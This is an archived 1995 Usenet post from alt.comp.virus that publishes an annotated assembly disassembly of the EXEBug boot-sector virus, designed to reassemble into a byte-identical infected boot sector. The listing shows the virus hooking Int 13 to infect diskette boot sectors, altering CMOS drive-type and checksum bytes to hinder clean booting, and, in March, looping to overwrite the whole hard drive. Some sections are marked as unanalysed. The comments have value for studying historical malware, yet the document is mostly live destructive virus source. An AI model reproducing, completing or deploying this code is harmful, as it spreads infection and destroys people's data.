home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / e / exebug.asm / partbinary0 < prev   
Encoding:
Text File  |  1998-01-14  |  44.5 KB  |  661 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
  3. From: danishm@iia.org ()
  4. Newsgroups: alt.comp.virus
  5. Subject: EXEBug
  6. Date: 5 Feb 1995 22:08:52 GMT
  7. Organization: International Internet Association.
  8. Lines: 641
  9. Message-ID: <3h3i9k$v4@ankh.iia.org>
  10. NNTP-Posting-Host: iia.org
  11. X-Newsreader: TIN [version 1.2 PL2]
  12.  
  13. Here is the EXEBug virus:
  14.  
  15. ;-------------------------------------------------------------------------
  16. .286p                                   ; The EXEBUG2 Virus.  This virus
  17. .model tiny                             ; infects diskette boot sectors and
  18. .code                                   ; activates in March of any year,
  19.                                         ; destroying the hard drive.  It
  20.         ORG     0100h                   ; contains instructions for 80286+
  21.                                         ; processors.
  22. ;---------------------------------------;---------------------------------
  23. ; As of Apr 21st, this disassembly is   ; Disassembled with Master Core
  24. ; incomplete, as the test computer uses ;  Disassembler: IQ Software
  25. ; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
  26. ;                                       ;  Quaid Software Ltd.
  27. ;-------------------------------------------------------------------------
  28. ; We are using an origin of 100h, so that this can be assembled with TASM
  29. ; and linked with tlink /t.  You will have a 512 byte .COM file which is
  30. ; a byte-for-byte duplicate of the original boot sector. Note that 100h
  31. ; must be subtracted from many of the offsets.
  32. ;-------------------------------------------------------------------------
  33.                                         ;Offset Opcode  |Comment
  34.                                         ;---------------------------------
  35. Boot_Start:                             ;00100  EB1C
  36.                                         ;---------------------------------
  37.         JMP     Short Change_RAM        ; Boot sectors always begin with
  38.                                         ; a long jump (E9 XX XX) or a short
  39.                                         ; jump (EB XX 90)
  40.                                         ;---------------------------------
  41.         NOP                             ;00102  90      |NOP for short jump
  42. ;---------------------------------------;               |
  43. ; Data in Code Area                     ;               |
  44. ;---------------------------------------;               |
  45. OEM     DB      "MSDOS5.0"              ;00103  4D53444F|OEM name
  46. Byt_Sec DW      0200h                   ;0010B  0002    |Bytes per sector
  47. Sct_AlU DB      02h                     ;0010D  02      |Sectors per
  48.                                         ;               | allocation unit
  49. RsvdSct DW      0001h                   ;0010E  0100    |Reserved sectors
  50. NumFATs DB      02h                     ;00110  02      |Number of FATs
  51. RootSiz DW      0070h                   ;00111  7000    |Number of root dir
  52.                                         ;               | entries (112)
  53. TotSect DW      02D0h                   ;00113  D002    |Total sectors in
  54.                                         ;               | volume (1440)
  55. MedDesc DB      0FDh                    ;00115  FD      |Media descriptor
  56.                                         ;               | byte:
  57.                                         ;---------------------------------
  58.                                         ;  F8 = hard disk
  59.                                         ;  F0 = 3½" 18 sector
  60.                                         ;  F9 = 3½"  9 sector
  61.                                         ;  F9 = 5¼" 15 sector
  62.                                         ;  FC = 5¼" SS 9 sector
  63.                                         ;  FD = 5¼" DS 9 sector
  64.                                         ;  FE = 5¼" SS 8 sector
  65.                                         ;  FF = 5¼: DS 8 sector
  66.                                         ;---------------------------------
  67. FATSect DW      0002h                   ;00116  0200    |Sectors per FAT
  68. Sct_Trk DW      0009h                   ;00118  0900    |Sectors per track
  69. NumHead DW      0002h                   ;0011A  0200    |Number of heads
  70. aDrvNum DW      0000h                   ;0011C  0000    |Drive number (0=A:)
  71. ;---------------------------------------;---------------------------------
  72.                                         ;               |
  73. Change_RAM:                             ;               |
  74.                                         ;               |
  75.         XOR     AX,AX                   ;0011E  33C0    |Zero register
  76.         MOV     DS,AX                   ;00120  8ED8    |DS = 0000
  77.         MOV     DI,AX                   ;00122  8BF8    |DI = 0000
  78.         MOV     SS,AX                   ;00124  8ED0    |SS = 0000
  79.         MOV     SP,7C00h                ;00126  BC007C  |SP = 7C00
  80.                                         ;---------------------------------
  81.                                         ; Get RAM size (usually 64*10 K)
  82.                                         ; and put it in register AX.
  83. Get_RAM_Size:                           ;---------------------------------
  84.                                         ;               |
  85.         MOV     AX,Word Ptr DS:[0413h]  ;00129  A11304  |0000:0413 holds
  86.                                         ;               | RAM size
  87.         MOV     CX,0106h                ;0012C  B90601  |This does two things:
  88.                                         ;               |it sets up a MOVSW,
  89.                                         ;               |and it puts a 6 in
  90.                                         ;               |CL for the SAL,CL
  91.         DEC     AX                      ;0012F  48      |Steal 1K of RAM
  92.                                         ;               | (decrease RAM size)
  93.         MOV     SI,SP                   ;00130  8BF4    |SI is 7C00. Use to
  94.                                         ;               | move boot sector
  95.                                         ;               | in Copy_Boot routine.
  96.                                         ;---------------------------------
  97.                                         ; RAM size is now 1K less; put it
  98.                                         ; in DS:0413h (RAMsize)
  99. Put_RAM_Size:                           ;---------------------------------
  100.                                         ;               |
  101.         MOV     Word Ptr DS:[0413h],AX  ;00132  A31304  |Put the new RAM
  102.                                         ;               | size back in [0413]
  103.         SAL     AX,CL                   ;00135  D3E0    |Convert to paragraphs
  104. ;-------------------------------------------------------------------------
  105. ; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
  106. ; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
  107. ;-------------------------------------------------------------------------
  108.                                         ;               |
  109.         MOV     ES,AX                   ;00137  8EC0    |ES = new area SEGMENT
  110.         PUSH    AX                      ;00139  50      |Save SEGMENT address
  111.                                         ;               | on stack. Jump here
  112.                                         ;               | at offset 0152.
  113.         XCHG    AX,DS:[004Eh]           ;0013A  87064E00|Exchange new and old
  114.                                         ;               | SEGMENTS
  115.                                         ;---------------------------------
  116.  
  117.         MOV     Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX
  118.  
  119.                                         ;---------------------------------
  120.                                         ;0013E  A3B87C  |This really should be:
  121.                                         ;               |[7C00h+offset I13_Seg],
  122.                                         ;               |but we use an ORG of
  123.                                         ;               |100h here.
  124.                                         ;      <Store old SEGMENT at 7CB8>
  125.                                         ;---------------------------------
  126.  
  127.         MOV     AX,offset New_Int13_ISR - 100h
  128.  
  129.                                         ;---------------------------------
  130.                                         ;00141  B83201  |Likewise the offset
  131.                                         ;               |of the new Int 13
  132.                                         ;               |service routine is
  133.                                         ;               |decremented by 100h
  134. ;------------------------------------------------------------------------
  135. ; AX now holds the OFFSET of the new Int 13 service routine, which is
  136. ; in our code at offset 232h.  Next operation exchanges this with the
  137. ; the offset stored at 0000:004C.
  138. ;------------------------------------------------------------------------
  139.                                         ;               |
  140.         XCHG    AX,DS:[004Ch]           ;00144  87064C00|Exchange new and old
  141.                                         ;               | OFFSETS
  142.                                         ;---------------------------------
  143.  
  144.         MOV     Word Ptr DS:[7C00h+offset I13_Off - 100h],AX
  145.  
  146.                                         ;---------------------------------
  147.                                         ;00148  A3B67C  |Again, decrement by
  148.                                         ;               | 100h to compensate
  149.                                         ;               | for ORG 100h
  150.                                         ;      <Store old OFFSET at 7CB6>
  151.                                         ;---------------------------------
  152.  
  153.         MOV     AX,[offset Activation - 100h]
  154.  
  155.                                         ;---------------------------------
  156.                                         ;0014B  B89900  |Move offset of
  157.                                         ;               |Activation routine
  158.                                         ;               |to AX.
  159.         PUSH    AX                      ;0014E  50      |Push the Activation
  160.                                         ;               |address, and then
  161.                                         ;               |use that as the
  162.                                         ;               |OFFSET when we RETF
  163.                                         ;               |at offset 0152.
  164. Copy_Boot:                              ;---------------------------------
  165.                                         ;               |
  166.         CLD                             ;0014F  FC      |movsb will increment
  167.                                         ;               |pointers cx=0106h
  168.                                         ;               |ds=0000h sp=7C00h
  169.                                         ;               |si=7C00h di=0000h
  170.                                         ;               |Repeat until Zero
  171.                                         ;               |Flag=0 or CX Times
  172.                                         ;               |
  173.         REP     MOVSW                   ;00150  F3A5    |MOVE DS:SI TO ES:DI
  174.                                         ;---------------------------------
  175.                                         ; Move virus up to the memory we have
  176.                                         ; allocated, and set the INT handler.
  177.                                         ;---------------------------------
  178.                                         ;               |
  179.         RETF                            ;00152  CB      |The segment and
  180.                                         ;               |offset of the
  181.                                         ;               |Activation routine
  182.                                         ;               |were pushed on the
  183.                                         ;               |stack previously, so
  184.                                         ;               |a RETF jumps there
  185.                                         ;               |(at top of memory)
  186.                                         ;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
  187. ;---------------------------------------;---------------------------------
  188.                                         ;               |
  189.         DB      04h                     ;00153  04      |
  190. Drive   DB      20h                     ;00154  20      |CMOS drive type (AH),
  191.                                         ;               | is stored here.
  192. ChkSum  DW      046Ch                   ;00155  6C04    |CMOS checksum (DX),
  193.                                         ;               | is stored here.
  194. Install DB      01h                     ;00157  01      |This byte is checked
  195.                                         ;               | at offset 294. It is
  196.                                         ;               | used for the value
  197.                                         ;               | of CX when the boot
  198.                                         ;               | record is written
  199.                                         ;               | (starting sector)
  200.                                         ;               | Values are 1 or 11h.
  201. ;-------------------------------------------------------------------------
  202. ; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
  203. ; as I could not get an infection on the test computer.
  204. ;-------------------------------------------------------------------------
  205.         SUB     [BX+SI],CH              ;00158  2828    |
  206.         ADD     [BX+DI],AL              ;0015A  0001    |
  207.         ADD     AL,[BP+1Eh]             ;0015C  02461E
  208.                                         ;  ADD AL,[BP+offset Change_RAM-100h]
  209.         PUSH    CX                      ;0015F  51      |
  210.         MOV     DL,65h                  ;00160  B265    |
  211.         MOV     DI,DX                   ;00162  8BFA    |
  212.         DEC     AL                      ;00164  FEC8    |
  213.         STOSW                           ;00166  AB      |STORE Word STRING
  214.                                         ;               | FROM AX
  215.         ADD     DI,+04h                 ;00167  83C704  |
  216.         XOR     AL,0C0h                 ;0016A  34C0    |
  217.         STOSW                           ;0016C  AB      |
  218.         MOV     CL,0Bh                  ;0016D  B10B    |cl=0Bh dl=65h
  219.         REP     STOSB                   ;0016F  F3AA    |STORE 0Bh Bytes
  220.                                         ;               | STRING FROM AL
  221.         MOV     CL,13h                  ;00171  B113    |
  222.         MOV     BH,03h                  ;00173  B703    |
  223.         CALL    $-170h                  ;00175  E88DFE  |This calls offset
  224.                                         ;               |7B05 in this segment.
  225.         MOV     AH,13h                  ;00178  B413    |
  226.         INT     2Fh                     ;0017A  CD2F    |Get & set DOS disk
  227.                                         ;               |int handler
  228.                                         ;               |ds:dx=new handler,
  229.                                         ;               |es:bx=old
  230.         MOV     CS:[01B8h],DS           ;0017C  2E8C1E  |
  231.                                         ;       B801    |
  232.                                         ;               |
  233.         MOV     CX,DX                   ;00181  8BCA    |
  234.         INT     2Fh                     ;00183  CD2F    |Set it again
  235.         MOV     DS:[01B6h],CX           ;00185  890EB601|
  236.         CMP     CL,32h                  ;00189  80F932  |
  237.         JZ      H0000_0198              ;0018C  740A    |Return if CL=32h
  238.         MOV     CX,CS                   ;0018E  8CC9    |
  239.         ADD     CX,+10h                 ;00190  83C110  |
  240.         PUSH    CX                      ;00193  51      |
  241.         MOV     AX,00FDh                ;00194  B8FD00  |
  242.         PUSH    AX                      ;00197  50      |
  243.                                         ;               |
  244. H0000_0198:                             ;---------------------------------
  245.                                         ;               |
  246.         RETF                            ;00198  CB      |
  247. ;---------------------------------------;---------------------------------
  248.                                         ;               |
  249. Activation:                             ;               |
  250.                                         ;               |
  251.         CALL    Main_Routine            ;00199  E86800  |
  252.         MOV     AH,04h                  ;0019C  B404    |AH=4 (get date)
  253.         INT     1Ah                     ;0019E  CD1A    |Get date
  254.                                         ;               |CX=year, DX=mon/day
  255.         CMP     DH,03h                  ;001A0  80FE03  |Is it month #3
  256.         JZ      Damage                  ;001A3  7402    |If it is March,
  257.                                         ;               | do damage
  258.         INT     19h                     ;001A5  CD19    |Otherwise reboot
  259.                                         ;               | with virus resident
  260.                                         ;               | and Int 13 hooked
  261. ;---------------------------------------;---------------------------------
  262.                                         ; Set up Int 13 call from the new
  263. Damage:                                 ;  ISR at I13_Seg:I13_Off.
  264.                                         ;---------------------------------
  265.         MOV     AL,0FFh                 ;001A7  B0FF    |
  266.         OUT     21h,AL                  ;001A9  E621    |Turn off IRQs
  267.         MOV     DX,0080h                ;001AB  BA8000  |DH = head # (0),
  268.                                         ;               |DL = drive #
  269.                                         ;               |  (+80 for hd)
  270.         MOV     CX,0101h                ;001AE  B90101  |CH = cylinder #,
  271.                                         ;               |CL = sector #
  272. Trash_HardDrive:                        ;---------------------------------
  273.                                         ;               |
  274.         MOV     AX,0311h                ;001B1  B81103  |AH = function 03
  275.                                         ;               | (write sectors)
  276.                                         ;               |AL = # of sectors
  277.         PUSHF                           ;001B4  9C      |Push flags: normally
  278.                                         ;               | done prior to
  279.                                         ;               | interrupt.
  280. FarCall DB      9Ah                     ;001B5  9A      |Call the Int 13
  281.                                         ;               | service routine
  282. I13_Off DW      0AB1Bh                  ;001B6  1BAB    |(real) Int 13 offset
  283. I13_Seg DW      0F000h                  ;001B8  00F0    |(real) Int 13 segment
  284.         INC     DH                      ;001BA  FEC6    |Next head
  285.         AND     DH,07h                  ;001BC  80E607  |Test bits 0-3 of DH,
  286.                                         ;               | clear 4-7
  287.         JNZ     Trash_HardDrive         ;001BF  75F0    |If #head > 7
  288.                                         ;               |continue, else trash
  289.         INC     CH                      ;001C1  FEC5    |Next cylinder
  290.         JNZ     Trash_HardDrive         ;001C3  75EC    |If #cylinder > 255
  291.                                         ;               | continue, else keep
  292.                                         ;               | on trashing.
  293.         ADD     CL,40h                  ;001C5  80C140  |Set bits 6 and 7 of
  294.                                         ;               | CL, enabling the
  295.                                         ;               | entire drive to be
  296.                                         ;               | overwritten (or at
  297.                                         ;               |least 1024 cylinders)
  298.         JMP     Short Trash_HardDrive   ;001C8  EBE7    |Only way out of this
  299.                                         ;               | is a disk error, or
  300.                                         ;               | power off.
  301. ;--------------------------------------------------------------------------
  302.                                         ;At this point, it is important to
  303. Change_CMOS:                            ;know what the contents of DX is.
  304.                                         ; CMOS checksums are stored at
  305.                                         ; DS:0053 and DS:0055
  306. ;--------------------------------------------------------------------------
  307.         MOV     AL,10h                  ;001CA  B010    |Diskette type
  308.         CALL    CMOS_Read_Write         ;001CC  E80700  | SET DISKETTE TYPE
  309.         MOV     AL,2Fh                  ;001CF  B02F    |Hi checksum byte
  310.         CALL    CMOS_Read_Write         ;001D1  E80200  | SET CHECKSUM: set
  311.                                         ;               | to zero or restore
  312.         MOV     AL,2Eh                  ;001D4  B02E    |Low checksum byte
  313.                                         ;               | SET CHECKSUM: set
  314.                                         ;               | to zero or restore
  315. CMOS_Read_Write:                        ;---------------------------------
  316.                                         ;               |
  317.         OUT     70h,AL                  ;001D6  E670    |Tell CMOS address
  318.                                         ;               |  to read (in AL)
  319.         XCHG    AH,DL                   ;001D8  86E2    |1st call: AH=DL=00
  320.                                         ;               |2nd call: AH=DL=00
  321.                                         ;               |3rd call: AH=20,DL=00
  322.                                         ;               |4th call: AH=5F,DL=00
  323.                                         ;               |5th call: AH=02,DL=5F
  324.                                         ;               |6th call: AH=00,DL=02
  325.                                         ;               |
  326.         XCHG    DL,DH                   ;001DA  86D6    |1st call: DH=DL=00
  327.                                         ;               |2nd call: DH=00,DL=20
  328.                                         ;               |3rd call: DH=00,DL=7F
  329.                                         ;               |4th call: DH=00,DL=02
  330.                                         ;               |5th call: DH=5F,DL=00
  331.                                         ;               |6th call: DH=02,DL=00
  332.                                         ;               |
  333.         IN      AL,71h                  ;001DC  E471    |Read CMOS to AL
  334.                                         ;               |1st call: AL=20
  335.                                         ;               |2nd call: AL=7F
  336.                                         ;               |3rd call: AL=02
  337.                                         ;               |4th call: AL=00
  338.                                         ;               |5th call: AL=00
  339.                                         ;               |6th call: AL=00
  340.                                         ;               |
  341.         XCHG    DH,AL                   ;001DE  86F0    |Trade AL <-> DH
  342.                                         ;               |1st call: DH=20,AL=00
  343.                                         ;               |2nd call: DH=7F,AL=00
  344.                                         ;               |3rd call: DH=02,AL=00
  345.                                         ;               |4th call: DH=00,AL=00
  346.                                         ;               |5th call: DH=00,AL=5F
  347.                                         ;               |6th call: DH=00,AL=02
  348.                                         ;               |
  349.         OUT     71h,AL                  ;001E0  E671    |Write contents of
  350.                                         ;               |  AL to CMOS
  351.                                         ;               |1st call: AL=00
  352.                                         ;               |2nd call: AL=00
  353.                                         ;               |3rd call: AL=00
  354.                                         ;               |4th call: AL=00
  355.                                         ;               |5th call: AL=5F
  356.                                         ;               |6th call: AL=02
  357.                                         ;               |
  358.         RET                             ;001E2  C3      |Return to Call_CMOS
  359. ;---------------------------------------;---------------------------------
  360.                                         ;               |
  361. Setup_Int13:                            ;               |
  362.                                         ;               |
  363.         MOV     AX,0301h                ;001E3  B80103  |Function #3: write
  364.                                         ;               |  (1) sector
  365. Real_Int13_2:                           ;---------------------------------
  366.                                         ;               |
  367.         CALL    Restore_CMOS            ;001E6  E80500  |Restore original CMOS
  368.         PUSHF                           ;001E9  9C      |Prepare for interrupt
  369.                                         ;---------------------------------
  370.                                                         ;DO THE INTERRUPT 13
  371.         CALL    DWord Ptr DS:[I13_Off-100h]             ;Subtract 100h from
  372.                                                         ; offset of old Int 13
  373.                                         ;001EA  FF1EB600| vector and then call
  374.                                         ;               | it as a DWord (i.e.
  375.                                         ;               | as Segment:Offset)
  376.                                         ;               | Standard Int 13
  377.                                         ;               | resets and repeats
  378.                                         ;               | 3 times if carry
  379.                                         ;               | flag not clear.
  380. Restore_CMOS:                           ;---------------------------------
  381.                                         ;               |
  382.         CALL    Xchg_Old_New            ;001EE  E80300  |
  383.         CALL    Change_CMOS             ;001F1  E8D6FF  |
  384.                                         ;               |
  385. Xchg_Old_New:                           ;---------------------------------
  386.                                         ;               |
  387.         XCHG    AX,DS:[0053h]           ;001F4  87065300|
  388.         XCHG    DX,DS:[0055h]           ;001F8  87165500|
  389.         RET                             ;001FC  C3      |
  390. ;---------------------------------------;---------------------------------
  391.                                         ;               |
  392. Jump_From_Boot:                         ;               |
  393.                                         ;               |
  394.         CALL    Main_Routine            ;001FD  E80400  |
  395.                                         ; CALL 0204h    |
  396.                                         ;               |
  397.         CALL    Restore_CMOS            ;00200  E8EBFF  |Call 01EEh
  398.         ;-------------------------------;---------------------------------
  399.         ;RETF                           ;               |This must be assembled
  400.                                         ;               |as DB 0CBh, otherwise
  401.         DB      0CBh                    ;00203  CB      |the assembler emits
  402.                                         ;               |CA CB 00.
  403. ;---------------------------------------;---------------------------------
  404.                                         ;               |Diddle CMOS. Read
  405. Main_Routine:                           ;00204          |boot with new Int13.
  406.                                         ;               |
  407. ;-------------------------------------------------------------------------
  408. ;                                                       |
  409. ; (64 Bytes)    FFEEDDCC BBAA9988 77665544 33221100     |This is the original
  410. ;               -------- -------- -------- --------     |CMOS setting.
  411. ; CMOS IS NOW:  00008050 02269303 28000016 00200027     |
  412. ;               00000000 0000310D 80028003 00F00020  <--|diskette drive(s) type
  413. ; Checksum -->  7F021A04 01000009 04000000 00000000     |Bits 7-4: drive 0
  414. ;  is 7F02      00000001 01000000 00000000 80190D80     |Bits 3-0: drive 1
  415. ;                                                       |  0000b = no drive
  416. ;                                                       |  0001b = 360K
  417. ;                                                       |  0010b = 1.2 MB
  418. ;                                                       |  0011b = 720K
  419. ;                                                       |  0100b = 1.44 MB
  420. ;                                                       |so in this case there
  421. ;                                                       |is one 1.2 meg drive
  422. ;                                                       |and no 'B' drive
  423. ;-------------------------------------------------------------------------
  424.                                         ;               |Put address of
  425. CMOS_0:                                 ;               | hidden memory on
  426.         PUSH    CS                      ;00204  0E      | stack and then pop
  427.         POP     DS                      ;00205  1F      | it into DS.
  428.         MOV     ES,CX                   ;00206  8EC1    |Zero ES
  429.         CALL    Change_CMOS             ;00208  E8BFFF  |AX=0099,DX=0000
  430. ;-------------------------------------------------------------------------
  431. ;
  432. ; CMOS CHANGED: 00008050 02269303 28000017 00420002
  433. ;               00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
  434. ; NOTE CHANGE-> 00001A04 01000009 04000000 00000000    No drive
  435. ;  No checksum  00000001 01000000 00000000 80190D80
  436. ;
  437. ;-------------------------------------------------------------------------
  438.                                         ;               |Now the drive type
  439. CMOS_1:                                 ;               | and checksum are 00
  440.         MOV     AL,AH                   ;0020B  8AC4    |AX=2020
  441.         AND     AL,0F0h                 ;0020D  24F0    |AX=2020
  442.         JZ      Calc_ChkSum             ;0020F  7408    |Is zero flag set?
  443.         MOV     DS:[0055h],DX           ;00211  89165500|Store checksum in
  444.                                         ;               | DS:[0055]
  445.         MOV     DS:[0054h],AH           ;00215  88265400|Store drive type
  446.                                         ;               | in DS:[0054]
  447. Calc_ChkSum:                            ;---------------------------------
  448.                                         ;               |
  449.         AND     AH,0Fh                  ;00219  80E40F  |Clears high bits
  450.                                         ;               | AX=0020
  451.         SUB     DL,AL                   ;0021C  2AD0    |DX=025F
  452.         SBB     DH,00h                  ;0021E  80DE00  |DX=025F
  453.         CALL    Change_CMOS             ;00221  E8A6FF  |AX=0020, DX=025F
  454. ;-------------------------------------------------------------------------
  455. ;
  456. ; CMOS CHANGED: 00008050 02269303 28000018 00030041
  457. ;               00000000 0000310D 80028003 00F00000
  458. ; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
  459. ;               00000001 01000000 00000000 80190D80
  460. ;
  461. ;-------------------------------------------------------------------------
  462.                                         ;               |
  463. CMOS_2:                                 ;               |
  464.         MOV     DL,80h                  ;00224  B280    | DL = 80
  465.                                         ;               |
  466. Read_Boot:                              ;---------------------------------
  467.                                         ;               |
  468.         MOV     CX,0001h                ;00226  B90100  | CX = 0001
  469.         MOV     DH,CH                   ;00229  8AF5    | DH = 00
  470.         POP     AX                      ;0022B  58      | Pop return offset
  471.         PUSHF                           ;0022C  9C      | Push flags
  472.         PUSH    CS                      ;0022D  0E      | Save segment
  473.         PUSH    AX                      ;0022E  50      | Save offset
  474.         MOV     AX,0201h                ;0022F  B80102  | AX = 0201 (read
  475.                                         ;               |      one sector)
  476.                                         ;
  477. New_Int13_ISR:                          ;___ New Int 13 Service Routine ___
  478.                                         ;
  479.         CLD                             ;00232  FC      |Clear direction flag
  480.         PUSH    DS                      ;00233  1E      |
  481.         PUSH    SI                      ;00234  56      |
  482.         PUSH    DI                      ;00235  57      |Save some registers
  483.         PUSH    CX                      ;00236  51      |
  484.         PUSH    AX                      ;00237  50      |
  485.         PUSH    CS                      ;00238  0E      |
  486.         POP     DS                      ;00239  1F      |DS = CS
  487.         CMP     AH,03h                  ;0023A  80FC03  |Is it a function 3
  488.                                         ;               | (write disk) call?
  489.         JNZ     Real_Int13_1            ;0023D  7521    |No, so do real Int 13
  490.         CMP     Byte Ptr ES:[BX],4Dh    ;0023F  26803F4D|Yes, but is ES:[BX]=4D?
  491.         JNZ     Real_Int13_1            ;00243  751B    |No, so do real Int13
  492.         OR      AH,DL                   ;00245  0AE2    |Yes, but which drive?
  493.         CMP     CL,AH                   ;00247  3ACC    |Is drive OK??
  494.         JNZ     Real_Int13_1            ;00249  7515    |No, so do real Int13
  495.         MOV     DI,BX                   ;0024B  8BFB    |Yes, buffer is [4D]
  496.         MOV     SI,00A7h                ;0024D  BEA700  |
  497.         MOV     CX,01FEh                ;00250  B9FE01  |Going to move 1FE words
  498.         AND     DL,DL                   ;00253  22D2    |Is it drive #0 (A:)?
  499.         JNZ     H0000_025E              ;00255  7507    |No, so move 'em
  500.         MOV     SI,0002h                ;00257  BE0200  |Yes, SI = 0002
  501.         MOV     AX,5CEBh                ;0025A  B8EB5C  |Move value in AX
  502.         STOSW                           ;0025D  AB      | to ES:[4D]
  503.                                         ;               |
  504. H0000_025E:                             ;---------------------------------
  505.                                         ;               |cx=01FEh,ds=0000h
  506.                                         ;               |si=0002h Move 1FE
  507.         REP     MOVSB                   ;               | words from DS:SI
  508.                                         ;0025E  F3A4    | to ES:DI
  509. Real_Int13_1:                           ;---------------------------------
  510.                                         ;               |
  511.         POP     AX                      ;00260  58      |Restore registers
  512.         POP     CX                      ;00261  59      |
  513.         POP     DI                      ;00262  5F      |
  514.         MOV     SI,AX                   ;00263  8BF0    |SI=function,subfn
  515.         CALL    Real_Int13_2            ;00265  E87EFF  |When done go to
  516.                                         ;               | Return_here.
  517. Return_Here:                            ;---------------------------------
  518.                                         ;               |
  519.         JB      Int13_Error             ;00268  721D    |If Int 13 returned
  520.                                         ;               | error go to err rtn
  521.         PUSH    DI                      ;0026A  57      |Save registers
  522.         PUSH    AX                      ;0026B  50      |
  523.         OR      DH,DH                   ;0026C  0AF6    |Was drive A: target?
  524.         JNZ     Exit_Virus              ;0026E  7514    |Yes, Exit_Virus
  525.         CMP     CX,+01h                 ;00270  83F901  |Was it a 1 sector
  526.                                         ;               | operation?
  527.         JNZ     Exit_Virus              ;00273  750F    |No, Exit_Virus
  528.         MOV     AX,SI                   ;00275  8BC6    |Restore Int 13
  529.                                         ;               | function, sub fn
  530.         CMP     AH,02h                  ;00277  80FC02  |Was it a read fn?
  531.         JZ      Int13_Read              ;0027A  7410    |
  532.         CMP     AH,03h                  ;0027C  80FC03  |
  533.         JNZ     Exit_Virus              ;0027F  7503    |
  534.                                         ;               |
  535. Read_New_Boot:                          ;---------------------------------
  536.                                         ;               |This pushes the
  537.         CALL    Read_Boot               ;00281  E8A2FF  | address of
  538.                                         ;               | Read_Boot on stack
  539. Exit_Virus:                             ;---------------------------------
  540.                                         ;               |
  541.         CLC                             ;00284  F8      |
  542.         POP     AX                      ;00285  58      |Restore registers
  543.         POP     DI                      ;00286  5F      |
  544.                                         ;               |
  545. Int13_Error:                            ;---------------------------------
  546.                                         ;               |
  547.         POP     SI                      ;00287  5E      |
  548.         POP     DS                      ;00288  1F      |
  549.         RETF    0002h                   ;00289  CA0200  |Return to address
  550.                                         ;               | on stack. Discard
  551.                                         ;               | next two bytes on
  552.                                         ;               | stack. This
  553.                                         ;               | eventually gets us
  554.                                         ;               | to offset 19C (check
  555.                                         ;               | activation & reboot)
  556. ;---------------------------------------;---------------------------------
  557. Int13_Read:                             ;               |
  558.                                         ;               |
  559.         PUSH    CX                      ;0028C  51      |Push # sectors
  560.         CMP     Byte Ptr ES:[BX+28h],7Ch;0028D  26807F  |Compare [0000:7C28]
  561.                                         ;       287C    | with 7C. (Boot
  562.                                         ;               | record offset 28).
  563.         JNZ     Boot_Changed            ;00292  750D    |If no, then the
  564.                                         ;               | boot record changed.
  565.                                         ;00294  268B8F  |MOV CX,ES:[BX+0057h]
  566.                                         ;       5700    |
  567.                                                         ;
  568.         MOV     CX,ES:[BX + word ptr Install - 100h]    ;Move starting sector
  569.                                                         ; to CX
  570.         MOV     AL,01h                  ;00299  B001    |
  571.         CALL    Real_Int13_2            ;0029B  E848FF  |
  572.                                         ;               |
  573. HD_Exit:                                ;---------------------------------
  574.                                         ;               |
  575.         POP     CX                      ;0029E  59      |
  576.         JMP     Short Exit_Virus        ;0029F  EBE3    |
  577. ;---------------------------------------;---------------------------------
  578. Boot_Changed:                           ;               |
  579.                                         ;               |
  580.         PUSH    DX                      ;002A1  52      |Save drive info
  581.         MOV     CL,11h                  ;002A2  B111    |CX=0011 (Changed)
  582.         TEST    DL,80h                  ;002A4  F6C280  |Is it a hard drive?
  583.         JNZ     Hard_Drive              ;002A7  7534    |Yes, goto Hard_Drive
  584.         MOV     CH,28h                  ;002A9  B528    |
  585.         CMP    Byte Ptr ES:[BX+15h],0FCh;002AB  26807F  |
  586.                                         ;       15FC    |
  587.         JNB     H0000_02B4              ;002B0  7302    |
  588.         SAL     CH,1                    ;002B2  D0E5    |
  589.                                         ;               |
  590. H0000_02B4:                             ;---------------------------------
  591.                                         ;               | This code not
  592.         PUSH    ES                      ;002B4  06      | analyzed as of
  593.         PUSH    BX                      ;002B5  53      | April 21st.
  594.         XOR     AX,AX                   ;002B6  33C0    |
  595.         MOV     ES,AX                   ;002B8  8EC0    |
  596.         LES     BX,DWord Ptr ES:[0078h] ;002BA  26C41E  |
  597.                                         ;       7800    |
  598.                                         ;               |Load ES & operand
  599.                                         ;               | from memory
  600.         PUSH    ES                      ;002BF  06      |
  601.         PUSH    BX                      ;002C0  53      |
  602.         INC     AL                      ;002C1  FEC0    |
  603.         MOV     CL,AL                   ;002C3  8AC8    |
  604.         XCHG    CL,ES:[BX+04h]          ;002C5  26864F04|
  605.         MOV     AH,05h                  ;002C9  B405    |
  606.         MOV     BX,0059h                ;002CB  BB5900  |
  607.         MOV     [BX],CH                 ;002CE  882F    |
  608.         PUSH    CS                      ;002D0  0E      |
  609.         POP     ES                      ;002D1  07      |
  610.         CALL    Real_Int13_2            ;002D2  E811FF  |
  611.         POP     BX                      ;002D5  5B      |
  612.         POP     ES                      ;002D6  07      |
  613.         XCHG    CL,ES:[BX+04h]          ;002D7  26864F04|
  614.         POP     BX                      ;002DB  5B      |
  615.         POP     ES                      ;002DC  07      |
  616.                                         ;               |
  617. Hard_Drive:                             ;---------------------------------
  618.                                         ;               |
  619.         CALL    Setup_Int13             ;002DD  E803FF  |Prepare for Write
  620.         POP     DX                      ;002E0  5A      |Get drive info
  621.         JB      HD_Exit                 ;002E1  72BB    |On error exit
  622.         MOV     DS:[0057h],CX           ;002E3  890E5700|DS:[57]=11 (Changed)
  623.         MOV     Word Ptr ES:[BX],1CEBh  ;002E7  26C707  |[0000:7C00] now holds
  624.                                         ;       EB1C    | EB 1C.
  625.         MOV     SI,001Eh                ;002EC  BE1E00  |SI=001E
  626.         ;-------------------------------;---------------------------------
  627.         ;LEA     DI,[BX+001Eh]          ;               |TASM will emit 8D7F1E
  628.                                         ;               |for this instruction,
  629.         DB      8Dh,0BFh,1Eh,00h        ;002EF  8DBF1E00|so assemble as DB's
  630.                                         ;               |BX=7C00 SI=001E
  631.                                         ;               |ES=0000 DI=7C1E
  632.         ;-------------------------------;---------------------------------
